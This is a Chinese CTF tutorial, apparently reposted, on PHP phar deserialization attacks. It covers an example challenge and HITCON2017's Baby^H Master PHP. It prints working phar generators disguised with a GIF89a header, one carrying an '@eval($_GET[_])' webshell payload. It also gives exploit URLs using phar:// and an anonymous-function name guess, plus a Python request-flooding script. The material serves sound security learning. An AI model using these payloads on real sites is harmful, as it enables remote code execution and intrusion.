内容简介：以上内容摘自：这题比较简单，可以直接生成
简单来说 phar 就是 php 压缩文档。它可以把多个文件归档到同一个文件中，而且不经过解压就能被 php 访问并执行，与 file:// php:// 等类似，也是一种流包装器。
phar 结构由 4 部分组成
-
stubphar 文件标识，格式为xxx<?php xxx; __HALT_COMPILER();?>； -
manifest压缩文件的属性等信息，以 序列化 存储； -
contents压缩文件的内容； -
signature签名，放在文件末尾；
这里有两个关键点，一是文件标识，必须以 __HALT_COMPILER();?> 结尾，但前面的内容没有限制，也就是说我们可以轻易伪造一个图片文件或者 pdf 文件来绕过一些上传限制；二是反序列化， phar 存储的 meta-data 信息以序列化方式存储，当文件操作函数通过 phar:// 伪协议解析 phar 文件时就会将数据反序列化，而这样的文件操作函数有很多。
以上内容摘自： 由 PHPGGC 理解 PHP 反序列化漏洞 。接下来，我们还是通过两个CTF题目来学习phar反序列化的利用。
例题一
这题比较简单，可以直接生成 phar 文件，然后利用网站的上传图片功能，结合 第11行 的 file_exists 函数进行phar反序列化利用，生成代码如下：
<?php
// phar.readonly无法通过该语句进行设置: init_set("phar.readonly",0);
class MyClass{
var $output = '@eval($_GET[_]);';
}
$o = new MyClass();
$filename = 'poc.phar';// 后缀必须为phar，否则程序无法运行
file_exists($filename) ? unlink($filename) : null;
$phar=new Phar($filename);
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($o);
$phar->addFromString("foo.txt","bar");
$phar->stopBuffering();
?>
例题二
这题选用 HITCON2017 中的 Baby^H Master PHP 2017 一题进行学习，题目点 这里 下载。
题目的意思很明确，要我们利用 Admin 类的 __destruct 方法来获得 flag 。但是 第20行 的 $random 变量我们无法获得，这样也就无法获得 flag ，所以我们要通过匿名类的名字来调用 flag 生成函数。
我们可以看看 create_function 函数对应的内核源码。（ php-src/Zend/zend_builtin_functions.c:1901 ）
可以看到匿名函数的名字类似于 \0lambda_%d ，其中 %d 为数字，取决于进程中匿名函数的个数，但是我们每访问一次题目，就会生成一个匿名函数，这样匿名函数的名字就不好控制。这里，我们便要引入 apache-prefork 模型(默认模型)介绍（关于该模型的介绍，可以参考： Apache的三种MPM模式比较：prefork，worker，event ）。当用户请求过大时，超过 apache 默认设定的阀值时，就会启动新的线程来处理请求，此时在新的线程中，匿名函数的名字又会从1开始递增，这样我们就容易猜测匿名函数的名字了。
接下来我们就来找反序列化的利用点，我们很快看到 第35行 反序列化了一个可控的 $data 变量，但是上一行有一个 hash_equals 函数进行了数据校验，而 $SECRET 的值不可知，这就没法利用这一反序列化点。接着我们会看到 第40行 有一个上传 gif 文件功能，且 $data 变量可控。那么攻击思路就是，我们先通过将构造好的 phar 文件传到服务器上，再利用可控的 $_GET[“url”] 结合 phar 协议，进行反序列化。用于生成 phar 的代码如下：
<?php
// phar.readonly无法通过该语句进行设置: init_set("phar.readonly",0);
class User {
public $avatar;
function __construct($path) {
$this->avatar = 'avatar.gif';
}
}
class Admin extends User { }
$o = new Admin();
$filename = 'avatar.phar';
file_exists($filename) ? unlink($filename) : null;
$phar=new Phar($filename);
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($o);
$phar->addFromString("foo.txt","bar");
$phar->stopBuffering();
?>
将生成的 avatar.phar 放在自己的 VPS 上并重命名成 avatar.gif ，然后将文件上传到题目服务器上：
http://题目IP/index.php?m=upload&url=http://VPS_IP/
接着，我们需要通过大量请求，使 apache 重新开启一个新的线程，然后访问如下 url 即可完成反序列化并获得 flag ：
http://题目IP/index.php?m=upload&url=phar:///var/www/data/xxxx/&lucky=%00lambda_1
关于 phar 更深的利用，可以参考这篇文章： Phar与Stream Wrapper造成PHP RCE的深入挖掘
import requests
import socket
import time
from multiprocessing.dummy import Pool as ThreadPool
try:
requests.packages.urllib3.disable_warnings()
except:
pass
def run(i):
while 1:
HOST = '127.0.0.1'
PORT = 8000
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.sendall('GET /avatar.gif HTTP/1.1\nHost: localhost\nConnection: Keep-Alive\n\n')
# s.close()
print 'ok'
time.sleep(0.5)
i = 8
pool = ThreadPool( i )
result = pool.map_async( run, range(i) ).get(0xffff)
以上就是本文的全部内容，希望本文的内容对大家的学习或者工作能带来一定的帮助，也希望大家多多支持 码农网
猜你喜欢:
本站部分资源来源于网络，本站转载出于传递更多信息之目的，版权归原作者或者来源机构所有，如转载稿涉及版权问题，请联系我们。
Large-Scale Inference
Bradley Efron / Cambridge University Press / 2010-8-5 / GBP 48.00
We live in a new age for statistical inference, where modern scientific technology such as microarrays and fMRI machines routinely produce thousands and sometimes millions of parallel data sets, each ......一起来看看 《Large-Scale Inference》 这本书的介绍吧!
